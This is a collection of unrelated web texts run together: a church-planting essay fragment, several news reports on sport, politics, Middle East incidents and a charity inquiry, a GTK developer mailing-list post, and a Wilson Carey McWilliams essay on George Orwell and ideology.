TRUTH 4 – Church Plants Challenge Complacency
Every time I look at the statistics and feel some despair for the future of the church, I look to church plants taking root and regain hope. How can I read about the Rev. Toua Vang in planting Hmong Churches and not get pumped up? Or when I am challenged by a new idea like the Lutheran-Episcopal campus ministry that led to a farm church at The Abundant Table., how can I do other than rejoice. I find this work inspiring and I am not alone. We are seeing community gardens like Food for a Thousand at St. Patrick’s Episcopal Church in Albany, Georgia inspired by the ministry they saw elsewhere across the church. The garden in Albany then further inspires others.
TRUTH 5 – Church Plants Are Risky
As long as I am telling the truth, I need to name that starting new churches is risky. Not all will survive. In Evangelical church circles, I read that 4 in 5 new churches won’t survive the first few years. Here in Georgia, we have started five new congregations since 1999 and two of those have closed since their founding. This is painful and true. Yet, we learned from those experiences. And as we have learned a lot as a denomination, our success rate improves. Those new churches that follow best practices like those Susan Brown Snook describes in her book, and those practices shared in Episcopal conferences like Plant My Church, will have increased chances of success. We will never reach 100%, with every new start founded still around in 20 or more years. But if we had not attempted new work out of fear of failure, the Diocese of Georgia would have three fewer congregations and hundreds fewer Jesus’ followers gathering to worship each week. More importantly, the many lives changed by our savior would have been left untouched, at least by us, had we not decided to take the risk and start new churches.
Why Plant New Churches?
Susan Brown Snook’s post Treasure to Share: Why Plant New Churches makes an excellent case for this work based on the research for her book. Finally, Adam Trambley explains the Church Planting Resolution, sharing the vision which animates the resolves.
The Episcopal Church of the Nativity in Scottsdale, Arizona.
Updated
Lawyers representing former Newcastle Knights player Alex McKinnon have written to the NRL, amid reports the paralysed player is planning a multi-million-dollar lawsuit against the league.
McKinnon was left paralysed after he was on the receiving end of a lifting tackle from Storm prop Jordan McLean.
The NRL confirmed it had received a letter from McKinnon's legal team, but said a claim had not been lodged.
It follows newspaper reports that McKinnon is seeking compensation from the league and McLean.
McKinnon has previously said that he was considering legal action in order to cover his medical expenses.
McLean was suspended for seven weeks over the incident.
McKinnon received a maximum $500,000 compensation payout from the NRL following his injury.
However, the incident threw questions over the suitability of the NRL's player insurance policy and about $1.2 million was raised towards McKinnon's medical costs.
Topics: sport, rugby-league, courts-and-trials, newcastle-2300, nsw
That’s how much he had offered to pay anyone who could disprove any of the accusations the Swift Boat Veterans for Truth made against Senator John Kerry in the 2004 presidential election – attacks Mr. Pickens, the billionaire Texas oilman, helped finance.
A group of Swift boat veterans sympathetic to Mr. Kerry sent Mr. Pickens a letter last week taking him up on the challenge. In 12 pages, plus a 42-page attachment of military records and other documents, they identified not just one but ten lies in the group’s campaign against Mr. Kerry. They offered to meet with him to provide Mr. Kerry’s journals and videotapes from Vietnam and a copy of his full military record certified by the Navy – a key demand of Mr. Pickens and veterans who believe Mr. Kerry lied about his service to win his military decorations.
Mr. Pickens replied with a one-page letter, thanking the veterans for their research and their service, but politely saying there had been a misunderstanding. “Key aspects of my offer of $1 million have not been accurately reported,” he wrote.
When he offered the reward at an American Spectator dinner in November, blogs sympathetic to Mr. Pickens reported that he challenged anyone to disprove “anything” the Swift boat group said.
In his letter, Mr. Pickens explained that his bet actually applied to only the television ads the Swift Boat Veterans for Truth bought, and not to their bestselling book or the media interviews that generated more attention than the ads themselves.
“In reviewing your material, none of the information you provide speaks specifically to the issues contained in the ads,” he wrote, “and, as a result, does not qualify for the $1 million.”
It was pretty much the same response he had given to Mr. Kerry, a Massachusetts Democrat, who seized the challenge immediately after Mr. Pickens made it last year.
He offered more generous compliments in his letter to the veterans, and suggested that they take up their issues with John O’Neill, the founder of the Swift Boat Veterans for Truth. (Mr. O’Neill, who first debated Mr. Kerry about the war in Vietnam on the Dick Cavett show in 1971, does not cede anything.)
Hunt’s costly setback at Lewisham – costly for the taxpayer of course – said a lot about the government’s plans for the NHS in general. The way he has responded since, contriving to stack the law in his favour, says even more. It speaks volumes for the sheer determination he and the rest of the cabinet have in seeing their plans through, and the powerful means they have to back it up.
Means like Clause 118 of the Care Bill. Or as it’s known in some circles, the "Hospital Closure Clause". Another obscurity in the legislative blur, its purpose is nonetheless stark. If it is nodded through in the next few weeks, another checkpoint on the road to private health in the UK will be passed.
In short, Clause 118 will allow Jeremy Hunt and any future health secretary to close any hospital or department in England with very little trouble at all. No consent from the clinical commissioning group (CCG) which runs it (despite the new "autonomy" they’ve been granted), no sound financial basis for the decision, nor true democratic approval required. Only a tedious consultation process with the local yokels to sit through and you’re done.
It might be wilfully obscure but Dr David Wrigley, GP, BMA GP Committee member and anti-privatisation campaigner, is in no doubt about Clause 118’s menacing potential. He says: "It means no hospital in England is safe. It allows the closure of hospitals if it suits the higher powers and the main reasons may well be financial when it should be a clinically based decision. It’s effectively a hospital closure clause; it’s an affront to democracy." Wrigley has set up an online petition to fight Clause 118 and is urging the public to contact their MP in protest against it.
Why does all this matter? Well, it doesn’t. Not if you can afford your own healthcare. But for the rest of us who don’t have such luxuries, it means a hell of a lot. With hospital budgets under pressure and departments in crisis, private companies lurk in the shadows waiting to take over services under the NHS banner, like wolves in sheep’s clothing. Every time a nationalised service is closed, vital care will be pushed physically and financially further away from us.
With the rule book rewritten, this time leaving no room for little hiccups like Lewisham, the public will be cut out of the democratic process and robbed of their rights to protest closures. But perhaps the most nauseating part of it all is the double-standards. David Cameron gave a solemn promise that there would be no more "tiresome, meddlesome, top-down re-structures". Jeremy Hunt has said time and time again that CCGs should hold their own keys, that primary care should be delivered "in exactly the way CCGs want in their area", that by empowering and consulting with local clinicians and handing over responsibility for commissioning to the doctors on the ground, the NHS would be liberated.
For many, Clause 118 is proof, were it needed, that this was nothing but lip service. Unite’s head of health Rachael Maskell says: "This is going flat in the face of Jeremy Hunt’s previous rhetoric, and very much pushing along the line of centralist diktat about local services. It doesn’t bring in the CCGs at all; it doesn’t involve patients or staff."
Countless doctors, nurses, surgeons, managers, unions, patients, politicians, economists and dozens of campaign groups are pleading with the government to rethink the way it is "reforming" the NHS. Yet it presses ahead Thatcher-like, wilfully ignorant, skipping around every tiresome obstacle, using new tools like Clause 118 to take more power and control away from the people who have paid for the NHS and who need it the most.
For a party which received only 36.1 per cent of the vote in 2010 and is now squirming away in an uncomfortable coalition, ignoring the wishes of the medical profession, its own CCGs and the general public to bring in more centralised control and a privatised system that the majority of the public opposes, might just seem like arrogance.
According to Saudi media, Mecca’s emergency department dispatched a team of rescue workers on an emergency call about a stampede in front of “Dar al-Tawhid” Hotel near Masjid al-Ḥarām [Grand Mosque], where 18 injured pilgrims received outpatient treatment.
Mecca’s Department of Health Affairs added that 4 hospitals have been put on high alert near Masjid al-Ḥarām and 8 rescue teams dispatched to the location.
The night before the accident was Laylat al-Qadr or the Night of Value [the night when the first verses of Holy Quran were revealed]; therefore, more than 750 Sunni pilgrims had gathered in Masjid al-Ḥarām to perform Tarawih prayer [extra prayers performed by Sunni Muslims at night in the Islamic month of Ramadan].
The accident is reminiscent of the deadly stampede in Mina on September 24, 2015, when a crush caused the deaths of thousands of Muslim people visiting the holy site. The pilgrims, including more than 460 Iranians, suffocated or crushed to death, which attest to the inefficiency and lack of foresight of the Saudi government.
Last year’s Hajj killed more than 2,000 pilgrims in the worst disaster to ever strike the annual ritual.
According to figures from foreign officials, at least 2,297 pilgrims died. Saudi Arabia issued a death toll of 769.
The Hajj and Umrah pilgrimages bring millions of Muslims to the holy places in Saudi Arabia every year.
MEXICO CITY - With the score getting out of hand midway through the third quarter, Andrew Wiggins caught the outlet pass, went three-quarters of the court and threw down a vicious slam on an opposing player.
Uncharacteristically, as the mild-mannered 20-year-old braced for landing, he stared down the defender from Uruguay before giving teammate Nik Stauskas a chest bump on the way back to the bench.
"We all love when Wiggs throws down like that," Stauskas said after Canada's 109-82 dismantling of Uruguay on Monday, the team's fifth straight win. "That’s why we love getting out in transition, because we have a lot of guys who can run and jump. Those kinds of play just get us amped up."
If it looks like Wiggins and company are feeling good about themselves, well, that's probably because they are.
Since their disappointing loss to Argentina in the opener, Canada has had little trouble navigating through the FIBA Americas competition. They've outscored their last five opponents by a total of 146 points, or just over 29 per game, but a tougher test awaits them on Tuesday.
Wiggins was standing in the tunnel, just to the right of the court at the Palacio De Los Deportes this past weekend, waiting to be interviewed after one of Canada's game as Mexico, the host team, took the floor.
A big smile on his face, the star forward marvelled at the atmosphere in the arena. It was electric, erupting with defending noise, as it had been in each of Mexico's previous games. The interview had to be cut short.
The reigning NBA rookie of the year has played in hostile environments before, both in college with Kansas and as a member of the Timberwolves last season. However, this will be his first experience taking on the crowd in an international setting and, as many veterans of FIBA ball would tell you, it's a completely different animal.
"Every time in the international game you play a team in their home country, it’s loud," said head coach Jay Triano. "It’s an environment you don’t really see too often in North America. We’re excited for the opportunity. We’ve had an opportunity to grow as a team. I don’t know if the timing could be better for us right now to have another challenge put in front of us."
"It’s going to be playing not just against the 12 people from Mexico, but playing against the whole country."
The Canadians got a small taste of it in San Juan, when they played hosting Puerto Rico in their final tuneup contest, a game that turned out to be their most competitive of the tournament. While Mexico has proven themselves formidable as a team at the FIBA Americas, the crowd will add another element to Tuesday night's showdown.
“I think it will be a great atmosphere tomorrow," Wiggins said. "I think a lot of guys might be used to all of the fans. We play in different leagues, whether it’s in the NBA or it’s in Europe. We’ve just got to play through the home crowd."
"It’s going to be fun," Stauskas added. "It’s going to be a lot of fun. I know everybody’s looking forward to it. Everybody’s going to be amped up. There’s going to be a lot of energy in this building. As basketball players, that's what we live for.”
"I feel like big crowds, the crazy fans, that gets a lot of people going," Wiggins continued. "That gets me going. That gets my motivated."
Without facing much competition of late, Canada hasn't had much difficulty staying motivated. They owe much of their recent success to their depth, something that was on display again Monday evening.
When Kelly Olynyk went to the bench in early foul trouble, Melvin Ejim took his place in the lineup and turned in his best performance of the tournament. The same could be said for Andrew Nicholson, a disappointment through five games, who also saw increased playing time as a result of Olynyk's foul trouble and Dwight Powell working his way back from injury.
Ejim scored nine of his 11 points in the opening quarter, while Nicholson finished the game with a double-double of 15 points and 10 rebounds, to go along with six assists in just 17 minutes of action.
"We have a lot of depth," said Stauskas, one of seven Canadians to score in double digits. "Coach always talks about if one guy goes down, next guy up. That’s the mentality each guy on this team has, everyone’s been ready."
* Incident is latest in series of killings of civilians
* Saudi-led coalition advances east of Sanaa (Adds details and background)
By Mohammed Ghobari
SANAA, Sept 28 (Reuters) - A local official and residents said at least 27 people, mostly women or children, were killed on Monday in an air strike on a wedding party in southwest Yemen, but a Saudi-led coalition that has air supremacy over the country strongly denied any role.
A coalition of Arab states has been attacking the Iranian-allied Houthi group across Yemen since March, trying to dislodge it from areas it has seized since last year and to restore President Abd-Rabbu Mansour Hadi.
Residents said two missiles tore through tents used by a man affiliated with the Houthi group for his wedding reception in the village of al-Wahijah, near the Red Sea port city of Al-Mokha.
A resident said 12 women, eight children and seven men had died in the attack. A local official put the death toll at 30. Several other people were taken to hospital.
Coalition spokesman Brigadier-General Ahmed al-Asseri told Reuters: “There have been no air operations by the coalition in that area for three days. This is totally false news.”
“The coalition knows its responsibility and will always acknowledge a mistake if we make it. Take into consideration the chaotic situation in Yemen, with several armed elements and forces active around the country. Also, people sometimes cannot distinguish between canon, mortar and Katyusha (missiles).”
It was not the case that “every explosion that happens in Yemen” was caused by the coalition, he added.
Al-Wahijah is located in Taiz province, which the Houthis captured in March as they began advancing on the southern port city of Aden, where Hadi was based before he was forced to flee to Saudi Arabia.
On Sunday, residents and medics said helicopters flying from Saudi Arabia attacked a village in Yemen’s northern Hajjah province, killing at least 30 people, including three medics who were trying to evacuate victims of a first strike.
Saudi authorities dismissed the accounts as “totally false”.
International rights groups have expressed concern over mounting civilian casualties in the Yemeni conflict, in which more than 4,500 people have been killed.
The Saudi-led campaign has resulted in several mass killings of civilians, including 36 people at a water bottling plant in August and 25 workers at a milk factory in April.
The commission opened its statutory inquiry into the Cradle Child Trust, which has objects of helping disabled children in Bhutan, Nepal and the Philippines, on 19 January.
A statement from the regulator today said it was "investigating concerns raised by a member of the public about the charity’s involvement in fundraising activities and possible impropriety by the charity’s trustees in connection with funds being raised".
The inquiry will examine concerns including potential unauthorised trustee remuneration, failure to keep sufficient accounting records and allegations that charity funds were mismanaged by the trustees.
The charity’s accounts for the year to 31 January 2014 show an income – made up entirely of grants and donations – of £29,531. The charity’s expenditure in the year was £27,782, of which £24,531 – or 88 per cent of total expenditure – went on fundraising costs. A further £3,251 was spent on charitable activities, the accounts show.
The same accounts show that in the year to 31 January 2013 it spent £6,496 of a total expenditure of £16,063 on fundraising costs.
Nobody answered calls from Third Sector to the phone number listed for the charity on the Charity Commission’s register.
Trump had slammed Schwarzenegger on Twitter Friday morning for disappointing ratings for the season premiere of The New Celebrity Apprentice, so Schwarzenegger came back with an inspirational video message for the President-elect, harkening back to 1861.
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“Please study this quote from Lincoln’s inaugural, @realDonaldTrump,” Schwarzenegger tweeted Friday morning. “It inspired me every day I was Governor, and I hope it inspires you.”
In the video, after saying he’s “sure you want to hear me read Lincoln’s speeches in my Austrian accent,” the former California governor recites the famous final section of Lincoln’s first inaugural address:
We are not enemies, but friends. We must not be enemies. Though passion may have strained it must not break our bonds of affection. The mystic chords of memory, stretching from every battlefield and patriot grave to every living heart and hearthstone all over this broad land, will yet swell the chorus of the Union, when again touched, as surely they will be, by the better angels of our nature.
“Remember,” Schwarzenegger concludes, “the campaign is over, the election is over, and we are not enemies.”
Working with upstream GTK
To : elementary-dev-community@xxxxxxxxxxxxxxxxxxx
: elementary-dev-community@xxxxxxxxxxxxxxxxxxx From : Cassidy James <cassidy@xxxxxxxxxxxxxxxx>
: Cassidy James <cassidy@xxxxxxxxxxxxxxxx> Date : Mon, 3 Feb 2014 11:44:25 -0600
: Mon, 3 Feb 2014 11:44:25 -0600 Cc : allanpday@xxxxxxxxx
: allanpday@xxxxxxxxx In-reply-to: <CAP2U23zCUUTkCehii00zb0N-j4pt_DEbpDs=L91rZ0JxRFeEFQ@mail.gmail.com>
Hey devs, Allan Day and I have been chatting a bit and he's expressed interest in working with elementary more closely regarding GTK. https://plus.google.com/100040579167442382687/posts/jX1UGanH7EE Has anyone checked out the new GTK popovers? Are they relatively drop-in replacements for us? Are their features missing from them that could be useful? I've CCd Allan on this message to keep him in the loop, so feel free to chat with him as well. I'm excited to work more closely with GTK as we seem to be heading in similar directions. Regards, Cassidy James
SEATTLE, WA — In the wake of Washington’s historic marijuana legalization measure last November, Seattle Police Department’s top cop, Interim Chief Jim Pugel, spoke at the Cannabis Freedom March at Westlake Park on Saturday.
“We are not here to condemn it. We are not here to endorse it,” he said of marijuana use, while referencing the limited police presence at the rally. “The police are here to make sure it is all done legally.”
Instead of fighting the voter approved measure, the Seattle Police Department have embraced the change, and are adapting to the new state law.
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“We are public servants and we want to make sure what they voted for works,” Pugel added.
Pugel called on smokers to respect law enforcement and obey the law.
“Don’t use it in public, don’t provide to minors, buy only from lawful dispensaries,” he said.
Pugel added that the new law legalizing marijuana for adults made police officers’ jobs easier.
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Several hundred people took part in Saturday’s “Cannabis Freedom March,” which was dubbed “A Funeral for Prohibition” by Seattle Hempfest organizers.
The annual march made its way from Volunteer Park to Westlake Center in Downtown Seattle.
Other speakers included Seattle City Attorney Pete Holmes, who reminded attendees that when he first ran for office four years ago advocating for marijuana decriminalization, Washington residents could still be sent to jail for as little as a joint in their pocket.
“We’ve made amazing, amazing progress,” Holmes said. Holmes used his speech to call for reform of federal marijuana laws, which conflict with Washington and Colorado’s recently enacted legalization efforts.
Washington State Liquor Control Board chair Sharon Foster also spoke at the rally. Fosters office is charged with establishing a state-wide system to license and regulate marijuana growers and stores.
But when reports that recently-viral ABC24 newscaster, Natasha Excelby, was removed from the air after being caught daydreaming mid-broadcast, her fellow journalists assembled.
Like a team of mistake-making superheroes, presenters began sharing their own stories of live-to-air humiliation with the hashtag #PutYourBloopersOut and the results are as LOL as they are touching.
Look, it wasn't great. But allegedly axing Excelby from news reading duties? Way harsh.
This national TV editor was first to stand in solidarity with Excelby. And from there, the cringe-worthy, swear word-heavy and downright embarrassing as hell stories began rolling in.
The channel's director of news, Gaven Morris issued a statement to help clear up the matter, saying "Media reports that Natasha has been 'banned,' 'barred' or 'fired' are untrue ... While she is not currently doing any on-air shifts, this will be subject to normal performance management."
But it was too late. The yarns were already spun. And they're full of innuendo.
I once accidentally admitted that Santa was a lie on air at 7:50am on breakfast radio #putyourbloopersout — Sam Blacker (@blackersam) April 10, 2017
@NatashaExelby i'm glad my LITTLE thing wasnt on the ABC they would have had me castrated.#putyourbloopersout
https://t.co/Noi7iZh20Y — Mark Aiston (@MarkAiston) April 10, 2017
@byrnesh In my radio days, reading a story on a squid with 5 meter long tentacles, saying testicles instead. The hosts lost it! #PutYourBloopersOut — Tim Hatfield (@timhatfield87) April 10, 2017
@byrnesh @NatashaExelby I fainted twice and said "fuck" once. To paraphrase @billybragg reading live news is an Accident Waiting To Happen. #putyourbloopersout — Tracey Spicer (@TraceySpicer) April 10, 2017
Reading Triple J news I declared Pat Rafter won the tennis "in straight sex but had to be treated for a groin injury" #putyourbloopersout https://t.co/t6nikJFqQu — Shelly Horton 💃🏻 (@ShellyHorton1) April 10, 2017
Poor Natasha, I know the feeling of being caught unaware #PutYourBloopersOut pic.twitter.com/QSfuAv3iy6 — John Hunt (@JohnHunt1992) April 10, 2017
Nothing wrong with a bit of day dreaming at work @NatashaExelby . I fell asleep while on air. #putyourbloopersout pic.twitter.com/10CE3Cqkph — Grant Denyer (@grantdenyer) April 10, 2017
The name Liz Cox was unfortunately misspelt Lix Cox in a community newspaper I used to work for 🙃#PutYourBloopersOut — Soraiya Fuda (@SoraiyaFuda) April 10, 2017
#PutYourBloopersOut Things go wrong. You learn, you live, you get on with it. pic.twitter.com/i7fewiEh5b — VictoriaSM (@VicStoneMeadows) April 10, 2017
I asked for an interview with someone who has been dead since 1962 #putyourbloopersout — Sally Rawsthorne (@sallyrawsthorne) April 10, 2017
I started eating a Tim Tam live on air during rolling coverage of a leadership spill #putyourbloopersout — Ashleigh Gillon (@ash_gillon) April 10, 2017
Gee, it's almost like newsreaders are fallible human beings or something. Who knew?
For her part, Excelby is chuffed by the show of support. We've all been there, girl!
Thank U all for ur generous support. Not my finest hour. Myself and my mesmerising pen honourably salute you! — Natasha Exelby (@NatashaExelby) April 10, 2017
Well, not personally, but as viewers we can tell you, it's funny and relatable!
The following essay is by Wilson Carey McWilliams, and is drawn from one of the two new collections of his writings, The Democratic Soul. More information about McWilliams, his thought, and the new books can be found here.
This reflection on George Orwell – published in 1984, for obvious reasons – remains as fresh today as it was written nearly thirty years ago. If anything, it is truer today, if only because the conditions of our age, ably captured by McWilliams’s assessment of Orwell, resemble ever more the prophetic fears of each man.
George Orwell and Ideology
By Wilson Carey McWilliams
George Orwell is paradoxical in the best sense: he is beyond doxa, outside the camps and categories of conventional political discourse. Admiring critics snip and squeeze, but Orwell will not be tailored into an ideology. An anticommunist nonpareil who never doubted that it was necessary to support the United States against the USSR, Orwell in 1948 expressed a preference for Henry Wallace, that scandal to Cold Warriors. In fact, although Orwell called himself a socialist, he scorned both socialism and capitalism as those terms are ordinarily understood, because he rejected the modern political doctrine which is the foundation of both.
Very early, Orwell developed the abiding conviction that modern civilization is shoddy and catabolic. The domination of nature—the goal of modern political philosophy—is neither liberative nor redemptive. In fact, all advances in technology and mechanical power have a dehumanizing dimension since they reduce the significance (and hence, discourage the cultivation) of human arts and powers. In 1984, Winston Smith is drawn, yearningly, to the products of craft, a leather notebook and a delicate crystal—as alien to industrial capitalism as they are to post-industrial Ingsoc.
Taken as a prediction, 1984 errs about the extent of material poverty, since Orwell portrayed the proles as an overwhelming majority. Orwell’s real concert, however, was with quality, not quantity, with the immiseration of the spirit more than the deprivation of the body: “The truly characteristic thing about modern life was…its bareness, its dinginess, its listlessness.” In those terms 1984 is almost topical. The book begins with an energy crisis in a city where advanced technology is accompanied by urban decay; the underclass proles are demoralized and the lower middle class—the lesser officials of the Party—live wretchedly, eating processed foods and drinking gin; the mass public is diverted by vulgar literature, the lottery, and the telescreen. Only the upper middle class, the Party’s elite, enjoys anything like well-being. Change the numbers who belong to each class, and Orwell’s depiction is all too descriptive of our times.
In another respect, Orwell seems, at first glance, to have missed the mark. The regime in 1984 is militantly prudish, resembling the censorialism of the Soviet Union more than our own libertine permissiveness. Yet while the Party in 1984 is moralistic in theory, in practice it produces trash—”proletarian literature” filled with astrology, sensationalism, and pornography—and it permits “mere debauchery” provided it is furtive and transient. (Evidently, there is a dreadful similarity between this portrait and the administration’s Hollywood Puritanism, Jerry Falwell yoked to Rupert Murdoch.) The Party fears intimacy more than sexuality, and it hates Eros in general because the modern goal, the mastery of nature, cannot be achieved without domin¬ion over human nature. Love, in its lower, instinctive forms as well as the higher yearnings of the soul, resists political control. Since nature is indivisible, human love and freedom are linked to physical nature in a common cause, just as, in 1984, Julia and Winston Smith retreat to a bower, like Henry and Rosamund. Orwell’s indignation at violations of the environment (in Coming Up for Air, for example) reflected a basic tenet of his teaching. No forest, no garden: what is humanly and naturally best requires cultivation, but it abhors domination and commands a measure of tolerance for the lower side of human nature.
Like Huxley, one of his teachers at Eton, Orwell recognized that sensuality is privatizing, but he did not share Huxley’s fear that hedonism would become the ruling principle of a future totalitarianism. In the first place, the pursuit of pleasure ignores the spirited side of human nature, which craves excitement, struggle, and great deeds and which, periodically, is able to enforce its demands on politics. More specifically, sensualism does not comprehend the “abstract, undirected” rage which pervades modern politics, the ressentiment that threatens to overwhelm any regime which proves unable to harness it. In 1984, the technology of law-enforcement races—too slowly—to keep pace with crime, and the debaucheries Huxley envisioned are displaced by the Two-Minute Hate.
Complexity, centralization, and power
Just as technology discourages craft, the size and complexity of modern economic and social organization dwarf individuals and demand central, bureaucratic institutions capable of producing some sort of order. Where capitalism identifies the danger with the state, Orwell regarded “trustification and Fordification” as processes leading to despotism. But he was equally insistent that socialists are mistaken if they imagine that the problem can be solved by a change in the ownership of property. The evil is in the thing itself, inherent in the most trivial details of modern life. Kipling once imagined a future in which the need to regulate traffic gave rise to a bureaucratic elite armed with tyrannical power, and Orwell admired the insight. He savaged H. G. Wells’s vision of a rationalistic world state because such a regime would be hopelessly impersonal and bloodless, an apotheosis of indignity equipped with all the weapons of technology pointing toward an inescapable tyranny.
As this suggests, Orwell was inclined to accept the theoretical superiority of smaller, simpler political societies. In modern regimes, the individual is weak and alone, and totalitarian states accentuate this isolation in order to increase their control. In 1984, Orwell’s description parallels Tocqueville’s prophecy: the Party aims to cut its citizens off from one another and from their past, until, in the end, “All you care about is yourself.” Liberal capitalism is individualistic from principle; bureaucratic collectivism is individualistic from policy. In the good political society, by contrast, “men are different and do not live alone”: genuine individuality presumes a community which knows who I am and cares what I do, warm enough to engage my feelings and small enough so that my work makes a difference. Chesterton’s agrarianism attracted Orwell; his first English publication appeared in G.K.’s Weekly, and even in the 1930s, he wrote a friend that the policies advocated in Chesterton’s paper were the only real solution for Britain.
In practice, of course that sort of political society is out of the question. Other problems aside, foreign policy demands a more or less centralized, technological state. An agrarian Britain could not have resisted the Nazis, and, given the grim likelihoods of modern politics, as Orwell described them, there will always be evil empires to threaten relatively decent states.
The constraints of practice, in Orwell’s view, only make theoretical vision and moral virtue indispensable in political life. The terrible imperatives of modern politics tend to subordinate theory to practice, ends to means, morality to necessity. The competition inherent in the quest for mastery erodes all restraints on the acquisition and use of power. The more horrid our enemies, the more easily will we acquiesce in that logic, producing a fascism “not of course called Fascism.” In 1984, Eurasia really is hateful, and Oceania’s own dreadful regime has grown out of the praxis of war more than economic or political doctrine. Totalitarian ideology, in fact, is a kind of pragmatism gone mad, an extreme case of the tendency to identify what prevails historically with what is right.
Orwell’s socialism
Against historicism and relativism, Orwell maintained that human nature provides a standard by which history can be judged. Beyond that theoretical proposition, Orwell hoped for a moral force strong enough to direct and govern technological society and able, at least, to minimize the gap between modem politics and human dignity. Hence Orwell’s critique, in The Road to Wigan Pier, of those socialists who excused the Soviet
regime by pointing to its industrial progress, celebrating material power, and turning away from the moral aims and standards which, for Orwell, were the essence of the only socialism worth having. To Orwell, in fact, socialism meant a kind of natural law, human nature governing human creations, industrial and technological power ruled by politically organized morality.
In that sense, Orwell’s socialism was never “proletarian.” The advantage of the proles—in 1984 or in reality—lies in the fact that they have not yet been assimilated into the established order. This “freedom” of the proletariat, however, is a deficiency, not a virtue. As a class, Orwell’s proletariat is essentially demoralized, incapable of self-organization, and easily misled; so long as it lacks more positive defenses against the culture of modernity, it can, potentially, be incorporated into the ethos of the regime at relatively little cost.
So far, Orwell’s argument resembles that of Herbert Marcuse, but where Marcuse looked to a youthful counter-culture to provide leadership for the underclass, Orwell regarded such bohemian manifestations as part—and probably a proto-totalitarian part—of the dominant culture. As Bernard Crick argues, Orwell envisioned a proletariat led by the lower middle class because, as Orwell saw it, the middle-class code of right and wrong gave that class a limited moral autonomy. Its private virtues, decency and duty, restrain the privatizing emotions, greed and fear, which pervade modern civilization.
Orwell recognized that middle-class morality has a defensive side: decency is a consolation to which, failing more material supports, one can turn for dignity, and in that sense it is terribly vulnerable to corruption. A fragile dignity, however, is better than none at all, and Orwell observed that moral allegiances—patriotism and loyalty to one’s family, for example—are part of a positive struggle against isolation. Middle-class morality helps to sustain social relationships and to lay the foundations for Tocqueville’s cherished “art of association.” The middle class is capable of organization and indignation, and hence possesses at least the rudiments of political leadership and civic virtue.
Orwell’s prescription for a socialism manned by workers and led by the lower middle class may, as he believed, offer the best possibility for arresting the drift of postindustrial civilization. Yet as a political strategy, it is gallant but a little wistful, like Orwell’s hope during World War II of making the Home Guard into a people’s militia, as desperate as Pickett’s charge and probably as fated.
In the first place, the raw power of the proletariat seems less and less sufficient to effect radical change. Animal Farm, Orwell wrote, originated with the observation that “men exploit animals in much the same way as the rich exploit the proletariat,” and that “if only such animals became aware of their strength, we should have no power over them.” But the analogy between animal labor and human work is troubling, given the ascendancy of modern civilization over physical nature. Human beings still devour animals, but we are less and less dependent on their work. In the same way, technology seems to be making proletarian labor redundant; the working class, though not yet ingested by mass society, has received a pretty thorough chewing. In this respect, Kurt Vonnegut’s Player Piano seems more accurate than Animal Farm or 1984.
Not that the case is any better with the middle class. The middle-class virtues are disappearing along with the old bourgeoisie, yielding to the radical individualism of a heimlos meritocracy. Orwell had few illusions: in 1984, the only surviving representative of the old middle class proves to be a member of the Thought Police, and Orwell’s title, Keep the Aspidistra Flying, suggests a besieged fortress with an outmoded banner, brave but already faintly absurd.
Critique of the intellectuals
The declining social support for moral and political virtue helps account for Orwell’s emphasis on the political role—and, especially, on the failings—of modern intellectuals. Higher nature must substitute where lower nature falters; when right opinion can no longer rule, philosophy may be forced into politics. Not that Orwell needed much forcing; he argued that writing is inherently political, since the act of writing presumes an intent to affect some audience. The claim that writers ought to be apolitical, he noted, is itself a political position, and a dangerous one: “art for art’s sake” elevates art over morals and politics alike, and the underlying principle that good work is separable from and superior to good ends amounts to the praise of mastery for its own sake.
Orwell’s critique of intellectuality was a teaching aimed at intellectuals, intended to fit them for their political role rather than to exclude them from public life. That teaching turns on the proposition that intellectuals must accept the sovereignty of nature over will, truth over words, and ends over craft, for, as Orwell insistently argued, the great peril of the intellectuals is their implicit, though often unconscious, affinity with totalitarianism.
In part, intellectuals are dangerous simply because they have been trained and become learned in the culture and principles of modern civilization. As the coherent voice of modernity, they accept the idea that history is a standard to which we must adapt and the even more basic precept that freedom is mastery. Intellectuals, consequently, are likely to be “supercilious” about morality, relativists and positivists who regard decency as outdated and duty as irrational.
Orwell’s criticism, however, does not stop with a particular school or “new class” of intellectuals. Like Karl Mannheim’s “total conception of ideology,” Orwell’s critique of intellectuality is catholic: it begins with the proposition that intellectuals are dangerous as such since they yearn to make their thought rule the world. Intellectuals are the more to be feared because they are often more single-minded than any other human beings; they are sometimes indifferent to money and material comfort, and they are adroit at self-deception, able to spin out justifications of their hope for dominion which identify the right with the necessary, the noble with the advantageous.
That, after all, is what ideology does, and ideology is tempting because modern politics exaggerates the tension between means and ends into an enormous disparity between risks and results. Political goals are always ambiguous; even so villainous an enemy as the Nazis could not be defeated without increasing the power of the Soviet Union. Political results must be judged on the balance, and political gains are ordinarily very marginal. But technology and mass organization greatly increase the risks of political action; just as it may be necessary to risk total war in order to prevent some limited defeat in foreign policy, in domestic life it may be necessary to endanger liberty rather gravely if we are to improve the collection of taxes. More and more, Orwell observed, politics leaves us only the choice between acting like “a devil or a lunatic.” Abstention is not allowed: those who would not run the demonic risk of war with Hitler necessarily chose the lunatic risk of attempting to coexist with him. Ideology rationalizes, excuses, and, paradoxically, depoliticizes politics. The truth about modern politics—that it is mad, evil, and inescapable—is the strongest political imperative for those who can endure it.
Truth and freedom
Orwell virtually made a creed out of unwelcome truth. Modern political philosophy argues that liberty exists when people can say and do as they please. Against that view, Orwell argued that “Liberty is telling people what they do not want to hear,” and I suspect that he was referring to the freedom of the hearers as well as that of the speaker. “Freedom is the freedom to say that two plus two makes four. If that is granted, all else follows.” Truth, not will or pleasure, is the foundation of freedom. I am free only when I act in accordance with my nature. To attempt to overcome one’s own nature, as Orwell remarked in relation to Gandhi, is in the most fundamental sense an act of self-denial, possibly saintly but not free. To be oneself is to be limited and mortal and to know loss, but that painful freedom is inseparable from the things that make life worth living: “that one is prepared in the end to be defeated and broken up by life…is the inevitable price of fastening one’s love upon other human individuals.”
The pillars of “Reality Control” in 1984—Newspeak, Doublethink, and the Mutability of the Past—reflect that worst temptation of the intellectuals, the denial of any objective reality, the effort to master nature through thought, sparing human beings the pain and frustration of unwelcome truth. Of course, reality will persist, whatever we think about it: hence doublethink, the Party’s combination of knowing and not knowing, for the Party demands a conscious will not to know capable of directing the apparatus of “not knowing” as part of the systematic effort to escape from the self and anything that might remind one of its nature. There is a grotesque altruism in the Party: it sets out to eliminate our consciousness of finitude and mortality, taking us back to Eden by eliminating knowledge, striving to overcome memory so as to achieve a timeless present in which death is not foreknown and nothing is lost because nothing is remembered.
